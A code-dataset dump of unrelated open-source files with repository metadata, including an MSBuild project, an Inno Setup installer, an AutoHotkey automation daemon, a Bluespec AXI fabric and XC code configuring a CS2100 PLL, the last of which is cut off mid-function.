96 1 9 0 0 1 3 0
97 1 7 2 0 0 2 0
98 1 10 0 0 0 1 0
99 1 14 2 0 0 0 2
100 1 8 3 0 1 2 3
101 1 0 0 0 0 0 0
7 7 7 6 7
| Eagle | 1 | klorel/or-tools | examples/data/rcpsp/single_mode_max_delay/testsetc/psp194.sch | [
"Apache-2.0"
] |
def fuzzy-history-search [] { cat $nu.history-path | fzf | clip }
| Nu | 1 | naefl/nu_scripts | fuzzy/fuzzy_history_search.nu | [
"MIT"
] |
// aux-build:cci_class.rs
extern crate cci_class;
use cci_class::kitties::cat;
fn main() {
let nyan : cat = cat(52, 99);
assert_eq!(nyan.meows, 52);
//~^ ERROR field `meows` of struct `cat` is private
}
| Rust | 4 | Eric-Arellano/rust | src/test/ui/privacy/private-struct-field-cross-crate.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="12.0" DefaultTargets="Build">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>2b56e90a-f177-4d9a-a438-ed6df7ad9826</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Sugar</RootNamespace>
<AssemblyName>Sugar.Data</AssemblyName>
<DefaultLanguage>en-US</DefaultLanguage>
<TargetPlatformVersion>8.1</TargetPlatformVersion>
<MinimumVisualStudioVersion>12</MinimumVisualStudioVersion>
<TargetFrameworkVersion /> <ProjectTypeGuids>{BC8A1FFA-BEE3-4634-8014-F334798102B3};{656346D9-4656-40DA-A068-22D5425D4639}</ProjectTypeGuids>
<Name>Sugar.Data.Echoes.WinRT</Name>
<AllowLegacyCreate>False</AllowLegacyCreate>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<GeneratePDB>True</GeneratePDB>
<GenerateMDB>False</GenerateMDB>
<Optimize>false</Optimize>
<OutputPath>bin\WinRT\</OutputPath>
<DefineConstants>DEBUG;TRACE;NETFX_CORE</DefineConstants>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<GeneratePDB>True</GeneratePDB>
<GenerateMDB>False</GenerateMDB>
<Optimize>true</Optimize>
<OutputPath>bin\WinRT\</OutputPath>
<DefineConstants>TRACE;NETFX_CORE</DefineConstants>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|ARM'">
<GeneratePDB>True</GeneratePDB>
<GenerateMDB>False</GenerateMDB>
<OutputPath>bin\WinRT\</OutputPath>
<DefineConstants>DEBUG;TRACE;NETFX_CORE</DefineConstants>
<CpuType>ARM</CpuType>
<Prefer32Bit>true</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|ARM'">
<GeneratePDB>True</GeneratePDB>
<GenerateMDB>False</GenerateMDB>
<OutputPath>bin\WinRT\</OutputPath>
<DefineConstants>TRACE;NETFX_CORE</DefineConstants>
<Optimize>true</Optimize>
<CpuType>ARM</CpuType>
<Prefer32Bit>true</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
<GeneratePDB>True</GeneratePDB>
<GenerateMDB>False</GenerateMDB>
<OutputPath>bin\WinRT\</OutputPath>
<DefineConstants>DEBUG;TRACE;NETFX_CORE</DefineConstants>
<CpuType>x64</CpuType>
<Prefer32Bit>true</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'">
<GeneratePDB>True</GeneratePDB>
<GenerateMDB>False</GenerateMDB>
<OutputPath>bin\WinRT\</OutputPath>
<DefineConstants>TRACE;NETFX_CORE</DefineConstants>
<Optimize>true</Optimize>
<CpuType>x64</CpuType>
<Prefer32Bit>true</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'">
<GeneratePDB>True</GeneratePDB>
<DebugSymbols>true</DebugSymbols>
<OutputPath>bin\WinRT\</OutputPath>
<DefineConstants>DEBUG;TRACE;NETFX_CORE</DefineConstants>
<CpuType>x86</CpuType>
<Prefer32Bit>true</Prefer32Bit>
<XmlDocWarningLevel>WarningOnPublicMembers</XmlDocWarningLevel>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x86'">
<GeneratePDB>True</GeneratePDB>
<GenerateMDB>False</GenerateMDB>
<OutputPath>bin\WinRT\</OutputPath>
<DefineConstants>TRACE;NETFX_CORE</DefineConstants>
<Optimize>true</Optimize>
<CpuType>x86</CpuType>
<Prefer32Bit>true</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition=" '$(VisualStudioVersion)' == '' or '$(VisualStudioVersion)' < '12.0' ">
<VisualStudioVersion>12.0</VisualStudioVersion>
</PropertyGroup>
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
<ItemGroup>
<Reference Include="mscorlib" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\Sugar\Sugar.Echoes.WinRT.oxygene">
<Name>Sugar.Echoes.WinRT</Name>
<Project>{3ab69816-9882-4fa6-abe5-c146199f5279}</Project>
<Private>True</Private>
<HintPath>..\Sugar\bin\WinRT\Sugar.dll</HintPath>
</ProjectReference>
</ItemGroup>
<ItemGroup>
<Folder Include="Properties\" />
</ItemGroup>
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<Import Project="$(MSBuildExtensionsPath)\RemObjects Software\Oxygene\RemObjects.Oxygene.Echoes.WinRT.targets" />
<Import Project="Sugar.Data.Shared.projitems" Label="Shared" />
<PropertyGroup>
<PreBuildEvent>rmdir /s /q $(ProjectDir)\Obj</PreBuildEvent>
</PropertyGroup>
</Project> | Oxygene | 2 | mosh/sugar | Sugar.Data/Sugar.Data.Echoes.WinRT.oxygene | [
"BSD-3-Clause"
] |
describe "Numbers", ->
it "can be added", ->
assert.True(1 + 1 == 2)
| MoonScript | 4 | CHANTXU64/.vim | plugged/vim-test/spec/fixtures/busted/normal_spec.moon | [
"MIT"
] |
#include "MozartConfig.iss"
[Setup]
; NOTE: The value of AppId uniquely identifies this application.
; Do not use the same AppId value in installers for other applications.
; (To generate a new GUID, click Tools | Generate GUID inside the IDE.)
AppId={{992C8269-AE73-4377-88BE-D92459001279}
AppName=Mozart
AppVersion={#MozartVersion}
AppPublisher=Universite catholique de Louvain
AppPublisherURL=http://mozart.github.io/
AppSupportURL=http://mozart.github.io/
AppUpdatesURL=http://mozart.github.io/
DefaultDirName={pf}\Mozart
DefaultGroupName=Mozart
AllowNoIcons=yes
LicenseFile={#LicenseFile}
OutputDir=..\..
OutputBaseFilename={#OutputFilename}
Compression=lzma
SolidCompression=yes
WizardImageFile=mozartside.bmp
WizardSmallImageFile=mozartsmall.bmp
ChangesEnvironment=yes
#if TargetArch == "x86_64"
ArchitecturesAllowed=x64
ArchitecturesInstallIn64BitMode=x64
#endif
[Languages]
Name: "english"; MessagesFile: "compiler:Default.isl"
[Components]
Name: "main"; Description: "Oz engine"; Types: full compact custom; Flags: fixed
#if EmacsIncluded == "ON"
Name: "emacs"; Description: "Emacs editor (for interactive Oz)"; Types: full
#endif
[Tasks]
Name: "desktopicon"; Description: "{cm:CreateDesktopIcon}"; GroupDescription: "{cm:AdditionalIcons}"; Flags: unchecked
[Files]
Source: "{#MozartFolder}\*"; DestDir: "{app}"; Flags: ignoreversion recursesubdirs; Components: main
#if TclIncluded == "ON"
Source: "{#TclFolder}\bin\*"; DestDir: "{app}\bin"; Flags: ignoreversion recursesubdirs; Components: main
Source: "{#TclFolder}\lib\*"; DestDir: "{app}\lib"; Flags: ignoreversion recursesubdirs; Components: main
#else
Source: "TclVer.bat"; Flags: dontcopy
#endif
#if EmacsIncluded == "ON"
Source: "{#EmacsFolder}\*"; DestDir: "{app}\opt"; Flags: ignoreversion recursesubdirs; Components: emacs
#endif
[Icons]
Name: "{group}\Mozart Programming Interface"; Filename: "{app}\bin\oz.exe"; IconFilename: "{app}\bin\oz.exe"
Name: "{group}\{cm:UninstallProgram,Mozart}"; Filename: "{uninstallexe}"
Name: "{commondesktop}\Mozart Programming Interface"; Filename: "{app}\bin\oz.exe"; Tasks: desktopicon; IconFilename: "{app}\bin\oz.exe"
[Registry]
#if EmacsIncluded == "ON"
Root: HKLM; Subkey: "SYSTEM\CurrentControlSet\Control\Session Manager\Environment"; ValueType: string; ValueName: "OZEMACS"; ValueData: "{app}\opt\bin\runemacs.exe"; Flags: uninsdeletevalue; Components:emacs
#endif
Root: HKLM; Subkey: "SYSTEM\CurrentControlSet\Control\Session Manager\Environment"; ValueType: string; ValueName: "OZHOME"; ValueData: "{app}"; Flags: uninsdeletevalue
[Code]
#include "ModifyPath.iss"
procedure CurStepChanged(CurStep: TSetupStep);
begin
case CurStep of
ssPostInstall:
begin
if IsAdminLoggedOn then
ModifyPath('{app}\bin', pmAddToEnd, psAllUsers)
else
ModifyPath('{app}\bin', pmAddToEnd, psCurrentUser);
end;
end;
end;
procedure CurUninstallStepChanged(CurUninstallStep: TUninstallStep);
begin
case CurUninstallStep of
usPostUninstall:
begin
if IsAdminLoggedOn then
ModifyPath('{app}\bin', pmRemove, psAllUsers)
else
ModifyPath('{app}\bin', pmRemove, psCurrentUser);
end;
end;
end;
#if !(TclIncluded == "ON")
function PrepareToInstall(var NeedsRestart: Boolean): String;
var
TmpFileName, ExecStdout: string;
ResultCode: integer;
Version : string;
begin
ExtractTemporaryFile('TclVer.bat');
TmpFileName := ExpandConstant('{tmp}') + '\tclver.txt';
Exec(ExpandConstant('{tmp}') + '\TclVer.bat', '> "' + TmpFileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
LoadStringFromFile(TmpFileName, ExecStdout);
Version := Trim(ExecStdout);
if Version = '0.0' then
MsgBox('Tcl/Tk ' + {#NeededTclVersion} + ' seems not to be installed or not to be in your PATH. Mozart may not work properly.', mbError, MB_OK)
else if not (Version = {#NeededTclVersion}) then
MsgBox('Tcl/Tk ' + Version + ' was found, but version ' + {#NeededTclVersion} + ' is required. Mozart may not work properly.', mbError, MB_OK);
DeleteFile(TmpFileName);
Result := '';
end;
#endif
| Inno Setup | 4 | Ahzed11/mozart2 | distrib/windows/MozartSetup.iss | [
"BSD-2-Clause"
] |
// Copyright (c) 2018-2020 Bluespec, Inc. All Rights Reserved.
package Fabric_2x3;
// ================================================================
// Defines the fabric (specialization of AXI4_Fabric) used inside the
// Core to interconnect
// masters: CPU and Debug Module
// slaves: System Fabric, Near_Mem_IO, PLIC
// ================================================================
// Project imports
// Main fabric
import AXI4_Types :: *;
import AXI4_Fabric :: *;
import Fabric_Defs :: *; // for Wd_Id, Wd_Addr, Wd_Data, Wd_User
import SoC_Map :: *;
// ================================================================
// 2x3 Fabric for the Core
// Masters: CPU DMem, Debug Module System Bus Access
// Slaves: System Interconnect, PLIC, Near_Mem_IO
// ----------------
// Fabric port numbers for masters
typedef 2 Num_Masters_2x3;
typedef Bit #(TLog #(Num_Masters_2x3)) Master_Num_2x3;
Master_Num_2x3 cpu_dmem_master_num = 0;
Master_Num_2x3 debug_module_sba_master_num = 1;
// ----------------
// Fabric port numbers for slaves
typedef 3 Num_Slaves_2x3;
typedef Bit #(TLog #(Num_Slaves_2x3)) Slave_Num_2x3;
Slave_Num_2x3 default_slave_num = 0;
Slave_Num_2x3 near_mem_io_slave_num = 1;
Slave_Num_2x3 plic_slave_num = 2;
// ----------------
// Specialization of parameterized AXI4 fabric for 2x3 Core fabric
typedef AXI4_Fabric_IFC #(Num_Masters_2x3,
Num_Slaves_2x3,
Wd_Id,
Wd_Addr,
Wd_Data,
Wd_User) Fabric_2x3_IFC;
// ----------------
(* synthesize *)
module mkFabric_2x3 (Fabric_2x3_IFC);
// System address map
SoC_Map_IFC soc_map <- mkSoC_Map;
// ----------------
// Slave address decoder
// Any addr is legal, and there is only one slave to service it.
function Tuple2 #(Bool, Slave_Num_2x3) fn_addr_to_slave_num_2x3 (Fabric_Addr addr);
if ( (soc_map.m_near_mem_io_addr_base <= addr)
&& (addr < soc_map.m_near_mem_io_addr_lim))
return tuple2 (True, near_mem_io_slave_num);
else if ( (soc_map.m_plic_addr_base <= addr)
&& (addr < soc_map.m_plic_addr_lim))
return tuple2 (True, plic_slave_num);
else
return tuple2 (True, default_slave_num);
endfunction
AXI4_Fabric_IFC #(Num_Masters_2x3, Num_Slaves_2x3, Wd_Id, Wd_Addr, Wd_Data, Wd_User)
fabric <- mkAXI4_Fabric (fn_addr_to_slave_num_2x3);
return fabric;
endmodule: mkFabric_2x3
// ================================================================
endpackage
| Bluespec | 5 | Skydive/Piccolo | src_Core/Core/Fabric_2x3.bsv | [
"Apache-2.0"
] |
HindiDefaultBehavior = Reflector other:mimic(DefaultBehavior)
HindiDefaultBehavior सेल = cell(:cell)
HindiDefaultBehavior नकल = cell(:mimic)
HindiDefaultBehavior यदि = cell(:if)
HindiDefaultBehavior विधि = cell(:method)
HindiDefaultBehavior लैम्ब्डा = cell(:fn)
HindiDefaultBehavior मूल = Origin
HindiDefaultBehavior करना = cell(:do)
HindiDefaultBehavior केसाथ = cell(:with)
HindiDefaultBehavior स्व = method(self)
HindiDefaultBehavior प्रिंट = Origin cell(:print)
HindiDefaultBehavior प्रिंटलाइन = Origin cell(:println)
DefaultBehavior mimic!(HindiDefaultBehavior)
| Ioke | 2 | olabini/ioke | examples/multilang/hindi/hindi.ik | [
"ICU",
"MIT"
] |
#NoEnv
ImageSearch(ByRef command) {
imagepath := command[8]
x1 := command[4]
y1 := command[5]
x2 := command[6]
y2 := command[7]
if (x2 = "A_ScreenWidth") {
x2 := A_ScreenWidth
}
if (y2 = "A_ScreenHeight") {
y2 := A_ScreenHeight
}
ImageSearch, xpos, ypos,% x1,% y1,% x2,% y2, %imagepath%
s .= Format("({}, {})", xpos, ypos)
return s
}
PixelGetColor(ByRef command) {
x := command[3]
y := command[4]
if (command.Length() = 4) {
PixelGetColor,color,% x,% y
} else {
options := command[5]
PixelGetColor,color,% x,% y, %options%
}
return color
}
PixelSearch(ByRef command) {
x1 := command[4]
y1 := command[5]
x2 := command[6]
y2 := command[7]
if (x2 = "A_ScreenWidth") {
x2 := A_ScreenWidth
}
if (y2 = "A_ScreenHeight") {
y2 := A_ScreenHeight
}
if (command.Length() = 9) {
PixelSearch, xpos, ypos,% x1,% y1,% x2,% y2, command[8], command[9]
} else {
options := command[10]
PixelSearch, xpos, ypos,% x1,% y1,% x2,% y2, command[8], command[9], %options%
}
s .= Format("({}, {})", xpos, ypos)
return s
}
MouseGetPos(ByRef command) {
MouseGetPos, xpos, ypos
s .= Format("({}, {})", xpos, ypos)
return s
}
AHKKeyState(ByRef command) {
if (command.Length() = 3) {
if (GetKeyState(command[2], command[3])) {
return 1
} else {
return 0
}
} else{
if (GetKeyState(command[2])) {
return 1
} else {
return 0
}
}
}
MouseMove(ByRef command) {
if (command.Length() = 5) {
MouseMove, command[2], command[3], command[4], R
} else {
MouseMove, command[2], command[3], command[4]
}
}
CoordMode(ByRef command) {
if (command.Length() = 2) {
CoordMode,% command[2]
} else {
CoordMode,% command[2],% command[3]
}
}
Click(ByRef command) {
if (command.Length() = 1) {
Click
} else if (command.Length() = 2) {
Click, command[2]
} else if (command.Length() = 3) {
Click, command[2], command[3]
} else if (command.Length() = 4) {
Click, command[2], command[3], command[4]
} else if (command.Length() = 5) {
Click, command[2], command[3], command[4], command[5]
} else if (command.Length() = 6) {
Click, command[2], command[3], command[4], command[5], command[6]
} else if (command.Length() = 7) {
Click, command[2], command[3], command[4], command[5], command[6], command[7]
}
return
}
MouseClickDrag(ByRef command) {
button := command[2]
if (command.Length() = 6) {
MouseClickDrag,%button%,command[3],command[4],command[5],command[6]
} else if (command.Length() = 7) {
MouseClickDrag,%button%,command[3],command[4],command[5],command[6],command[7]
} else if (command.Length() = 8) {
MouseClickDrag,%button%,command[3],command[4],command[5],command[6],command[7],R
}
}
RegRead(ByRef command) {
keyname := command[3]
RegRead, output, %keyname%, command[4]
return output
}
SetRegView(ByRef command) {
view := command[2]
SetRegView, %view%
}
RegWrite(ByRef command) {
valuetype := command[2]
keyname := command[3]
RegWrite, %valuetype%, %keyname%, command[4]
}
RegDelete(ByRef command) {
keyname := command[2]
RegDelete, %keyname%, command[3]
}
KeyWait(ByRef command) {
keyname := command[2]
if (command.Length() = 2) {
KeyWait,% keyname
} else {
options := command[3]
KeyWait,% keyname,% options
}
return ErrorLevel
}
SetKeyDelay(ByRef command) {
SetKeyDelay, command[2], command[3]
}
Join(sep, params*) {
for index,param in params
str .= param . sep
return SubStr(str, 1, -StrLen(sep))
}
Unescape(HayStack) {
ReplacedStr := StrReplace(Haystack, "``n" , "`n")
return ReplacedStr
}
Send(ByRef command) {
command.RemoveAt(1)
s := Join(",", command*)
str := Unescape(s)
Send,% str
}
SendRaw(ByRef command) {
command.RemoveAt(1)
s := Join(",", command*)
str := Unescape(s)
SendRaw,% str
}
SendInput(ByRef command) {
command.RemoveAt(1)
s := Join(",", command*)
str := Unescape(s)
SendInput,% str
}
SendEvent(ByRef command) {
command.RemoveAt(1)
s := Join(",", command*)
str := Unescape(s)
SendEvent,% str
}
SendPlay(ByRef command) {
command.RemoveAt(1)
s := Join(",", command*)
str := Unescape(s)
SendPlay,% str
}
SetCapsLockState(ByRef command) {
if (command.Length() = 1) {
SetCapsLockState % !GetKeyState("CapsLock", "T")
} else {
state := command[2]
SetCapsLockState, %state%
}
}
HideTrayTip(ByRef command) {
TrayTip ; Attempt to hide it the normal way.
if SubStr(A_OSVersion,1,3) = "10." {
Menu Tray, NoIcon
Sleep 200 ; It may be necessary to adjust this sleep.
Menu Tray, Icon
}
}
WinGetTitle(ByRef command) {
title := command[3]
WinGetTitle, text, %title%
return text
}
WinGetClass(ByRef command) {
title := command[3]
WinGetClass, text, %title%
return text
}
WinGetText(ByRef command) {
title := command[3]
WinGetText, text, %title%
return text
}
WinActivate(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinActivate, %title%
} else {
secondstowait := command[3]
WinActivate, %title%, %secondstowait%
}
}
WinActivateBottom(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinActivateBottom, %title%
} else {
secondstowait := command[3]
WinActivateBottom, %title%, %secondstowait%
}
}
WinClose(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinClose,% title
} else {
secondstowait := command[3]
WinClose, %title%, %secondstowait%
}
}
WinHide(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinHide, %title%
} else {
secondstowait := command[3]
WinHide, %title%, %secondstowait%
}
}
WinKill(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinKill, %title%
} else {
secondstowait := command[3]
WinKill, %title%, %secondstowait%
}
}
WinMaximize(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinMaximize, %title%
} else {
secondstowait := command[3]
WinMaximize, %title%, %secondstowait%
}
}
WinMinimize(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinMinimize, %title%
} else {
secondstowait := command[3]
WinMinimize, %title%, %secondstowait%
}
}
WinRestore(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinRestore, %title%
} else {
secondstowait := command[3]
WinRestore, %title%, %secondstowait%
}
}
WinShow(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinShow, %title%
} else {
secondstowait := command[3]
WinShow, %title%, %secondstowait%
}
}
WinWait(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinWait, %title%
} else {
secondstowait = command[3]
WinWait, %title%, %secondstowait%
}
}
WinWaitActive(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinWaitActive, %title%
} else {
secondstowait := command[3]
WinWaitActive, %title%, %secondstowait%
}
}
WinWaitNotActive(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinWaitNotActive, %title%
} else {
secondstowait = command[3]
WinWaitNotActive, %title%, %secondstowait%
}
}
WinWaitClose(ByRef command) {
title := command[2]
if (command.Length() = 2) {
WinWaitClose, %title%
} else {
secondstowait := command[3]
WinWaitClose, %title%, %secondstowait%
}
}
WindowList(ByRef command) {
WinGet windows, List
Loop %windows%
{
id := windows%A_Index%
r .= id . "`,"
}
return r
}
WinSend(ByRef command) {
title := command[2]
command.RemoveAt(1)
command.RemoveAt(1)
str := Join(",", command*)
keys := Unescape(str)
ControlSend,,% keys, %title%
}
WinSendRaw(ByRef command) {
title := command[2]
command.RemoveAt(1)
command.RemoveAt(1)
str := Join(",", command*)
keys := Unescape(str)
ControlSendRaw,,% keys, %title%
}
ControlSend(ByRef command) {
ctrl := command[2]
title := command[3]
text := command[4]
extitle := command[5]
extext := command[6]
command.RemoveAt(1)
command.RemoveAt(1)
command.RemoveAt(1)
command.RemoveAt(1)
command.RemoveAt(1)
command.RemoveAt(1)
str := Join(",", command*)
keys := Unescape(str)
ControlSend, %ctrl%,% keys, %title%, %text%, %extitle%, %extext%
}
BaseCheck(ByRef command) {
kommand := command[2]
title := command[3]
if %kommand%(title) {
return 1
}
else {
return 0
}
}
FromMouse(ByRef command) {
MouseGetPos,,, MouseWin
return MouseWin
}
WinGet(ByRef command) {
title := command[4]
text := command[5]
extitle := command[6]
extext := command[7]
WinGet, output,% command[3], %title%, %text%, %extitle%, %extext%
return output
}
WinSet(ByRef command) {
subcommand := command[2]
title := command[4]
value := command[3]
WinSet,%subcommand%,%value%,%title%
}
WinSetTitle(ByRef command) {
newtitle := command[4]
WinSetTitle,% command[2],, %newtitle%
}
WinIsAlwaysOnTop(ByRef command) {
title := command[2]
WinGet, ExStyle, ExStyle, %title%
if (ExStyle & 0x8) ; 0x8 is WS_EX_TOPMOST.
return 1
else
return 0
}
WinClick(ByRef command) {
x := command[2]
y := command[3]
hwnd := command[4]
button := command[5]
n := command[6]
if (command.Length() = 6) {
ControlClick,x%x% y%y%,%hwnd%,,%button%,%n%
} else {
options := command[6]
ControlClick, x%x% y%y%, %hwnd%,,%button%, %n%, options
}
}
AHKWinMove(ByRef command) {
title := command [2]
x := command[3]
y := command[4]
if (command.Length()) = 4 {
WinMove,%title%,,%x%,%y%
} else if (command.Length() = 5) {
a := command[5]
WinMove,%title%,,%x%,%y%,%a%
} else if (command.Length() = 6) {
a := command[5]
b := command[6]
WinMove,%title%,,%x%,%y%,%a%,%b%
}
}
AHKWinGetPos(ByRef command) {
title := command[2]
WinGetPos, x, y, width, height, %title%
if (command.Length() = 3) {
pos_info := command[3]
if (pos_info = "position") {
s .= Format("({}, {})", x, y)
} else if (pos_info = "height") {
s .= Format("({})", height)
} else if (pos_info = "width") {
s .= Format("({})", width)
}
} else {
s .= Format("({}, {}, {}, {})", x, y, width, height)
}
return s
}
CountNewlines(ByRef s) {
newline := "`n"
StringReplace, s, s, %newline%, %newline%, UseErrorLevel
count := ErrorLevel
return count
}
stdin := FileOpen("*", "r `n") ; Requires [v1.1.17+]
Loop {
query := RTrim(stdin.ReadLine(), "`n")
commandArray := StrSplit(query, ",")
func := commandArray[1]
response := %func%(commandArray)
newline_count := CountNewlines(response)
FileAppend, %newline_count%`n, *
FileAppend, %response%`n, *
}
| AutoHotkey | 4 | scslmd/ahk | ahk/templates/daemon.ahk | [
"MIT"
] |
# reset the terminal
include "stdio.sl";
var esc = func() { putchar(0x1b); };
esc(); puts("[2J"); # clear screen
esc(); puts("[H"); # home cursor
esc(); puts("[?25h"); # show cursor
esc(); puts("[?12h"); # enable blinking
| Slash | 4 | jes/scamp-cpu | sys/reset.sl | [
"Unlicense"
] |
#include <xs1.h>
#include <assert.h>
#include "devicedefines.h"
#include <platform.h>
#include "i2c_shared.h"
#include "cs2100.h"
#include "print.h"
//#include <stdio.h>
on tile[AUDIO_IO_TILE] : out port p_pll_clk = PORT_PLL_REF;
on tile[AUDIO_IO_TILE] : clock pll_sync_clock = XS1_CLKBLK_1;
on tile [1] : struct r_i2c r_i2c = {XS1_PORT_8D};
#define CS2100_REGREAD(addr, reg, data) {data[0] = 0xAA; i2c_master_read_reg(addr, reg, data, 1, r_i2c);}
#define CS2100_REGREAD_ASSERT(addr, reg, data, expected) {data[0] = 0xAA; i2c_master_read_reg(addr, reg, data, 1, r_i2c); assert(data[0] == expected);}
#define CS2100_REGWRITE(addr, reg, val) {data[0] = val; i2c_master_write_reg(addr, reg, data, 1, r_i2c);}
/* The number of timer ticks to wait for the audio PLL to lock */
/* CS2100 lists typical lock time as 100 * input period */
#define AUDIO_PLL_LOCK_DELAY (40000000)
/* Frequency (in Hz) of the sync clock the xCORE drives to the external PLL */
// TODO: Changed PLL Sync freq to 10MHz was 1MHz
#define PLL_SYNC_FREQ (10000000)
/* Init of CS2100 */
void PllInit(void)
{
unsigned char data[1] = {0};
/* Config internal clock */
CS2100_REGWRITE(CS2100_INT_CLK_ADDR, CS2100_DEVICE_CONFIG_1, 0x07);
CS2100_REGWRITE(CS2100_INT_CLK_ADDR, CS2100_GLOBAL_CONFIG, 0x01);
CS2100_REGWRITE(CS2100_INT_CLK_ADDR, CS2100_FUNC_CONFIG_1, 0x08);
// High multiplication
CS2100_REGWRITE(CS2100_INT_CLK_ADDR, CS2100_FUNC_CONFIG_2, 0x00); //0x10 for always gen clock even when unlocked
// Filter
CS2100_REGWRITE(CS2100_INT_CLK_ADDR, CS2100_FUNC_CONFIG_3, 0x70);
/* Config external clock */
CS2100_REGWRITE(CS2100_EXT_CLK_ADDR, CS2100_DEVICE_CONFIG_1, 0x07);
CS2100_REGWRITE(CS2100_EXT_CLK_ADDR, CS2100_GLOBAL_CONFIG, 0x01);
// Assumes 24MHz Signal
CS2100_REGWRITE(CS2100_EXT_CLK_ADDR, CS2100_FUNC_CONFIG_1, 0x08);
// High accuracy
CS2100_REGWRITE(CS2100_EXT_CLK_ADDR, CS2100_FUNC_CONFIG_2, 0x00);
// Filter
CS2100_REGWRITE(CS2100_EXT_CLK_ADDR, CS2100_FUNC_CONFIG_3, 0x70);
/* Read back and check */
CS2100_REGREAD_ASSERT(CS2100_INT_CLK_ADDR, CS2100_DEVICE_CONFIG_1, data, 0x07);
CS2100_REGREAD_ASSERT(CS2100_INT_CLK_ADDR, CS2100_GLOBAL_CONFIG, data, 0x01);
CS2100_REGREAD_ASSERT(CS2100_INT_CLK_ADDR, CS2100_FUNC_CONFIG_1, data, 0x08);
CS2100_REGREAD_ASSERT(CS2100_INT_CLK_ADDR, CS2100_FUNC_CONFIG_2, data, 0x00);
CS2100_REGREAD_ASSERT(CS2100_EXT_CLK_ADDR, CS2100_DEVICE_CONFIG_1, data, 0x07);
CS2100_REGREAD_ASSERT(CS2100_EXT_CLK_ADDR, CS2100_GLOBAL_CONFIG, data, 0x01);
CS2100_REGREAD_ASSERT(CS2100_EXT_CLK_ADDR, CS2100_FUNC_CONFIG_1, data, 0x08);
CS2100_REGREAD_ASSERT(CS2100_EXT_CLK_ADDR, CS2100_FUNC_CONFIG_2, data, 0x00);
// Configure the clock ratio for the external 48kHz master clock
// 20.12 format
// unsigned mult_ext = (unsigned) ((((unsigned long long)(256*48e3)) << 32) / (((unsigned long long)48e3) << 12));
//12.20 format
unsigned mult_ext = (unsigned) ((((unsigned long long)(256*48e3)) << 32) / (((unsigned long long)48e3) << 20));
CS2100_REGWRITE(CS2100_EXT_CLK_ADDR, CS2100_RATIO_1, (mult_ext >> 24) & 0xFF);
CS2100_REGWRITE(CS2100_EXT_CLK_ADDR, CS2100_RATIO_2, (mult_ext >> 16) & 0xFF);
CS2100_REGWRITE(CS2100_EXT_CLK_ADDR, CS2100_RATIO_3, (mult_ext >> 8) & 0xFF);
CS2100_REGWRITE(CS2100_EXT_CLK_ADDR, CS2100_RATIO_4, (mult_ext & 0xFF));
/* Read back and check */
CS2100_REGREAD_ASSERT(CS2100_EXT_CLK_ADDR, CS2100_RATIO_1, data, ((mult_ext >> 24) & 0xFF));
CS2100_REGREAD_ASSERT(CS2100_EXT_CLK_ADDR, CS2100_RATIO_2, data, ((mult_ext >> 16) & 0xFF));
CS2100_REGREAD_ASSERT(CS2100_EXT_CLK_ADDR, CS2100_RATIO_3, data, ((mult_ext >> 8) & 0xFF));
CS2100_REGREAD_ASSERT(CS2100_EXT_CLK_ADDR, CS2100_RATIO_4, data, (mult_ext & 0xFF));
}
void PllMult(unsigned output, unsigned ref)
{
unsigned char data[1] = {0};
/* PLL expects 20:12 format, convert output and ref to 20:12 */
/* Shift up the dividend by 20 to retain format... */
unsigned mult_int = (unsigned) ((((unsigned long long)output) << 32) / (((unsigned long long)ref) << 20));
CS2100_REGWRITE(CS2100_INT_CLK_ADDR, CS2100_RATIO_1, (mult_int >> 24) & 0xFF);
CS2100_REGWRITE(CS2100_INT_CLK_ADDR, CS2100_RATIO_2, (mult_int >> 16) & 0xFF);
CS2100_REGWRITE(CS2100_INT_CLK_ADDR, CS2100_RATIO_3, (mult_int >> 8) & 0xFF);
CS2100_REGWRITE(CS2100_INT_CLK_ADDR, CS2100_RATIO_4, (mult_int & 0xFF));
/* Read back and check */
CS2100_REGREAD_ASSERT(CS2100_INT_CLK_ADDR, CS2100_RATIO_1, data, ((mult_int >> 24) & 0xFF));
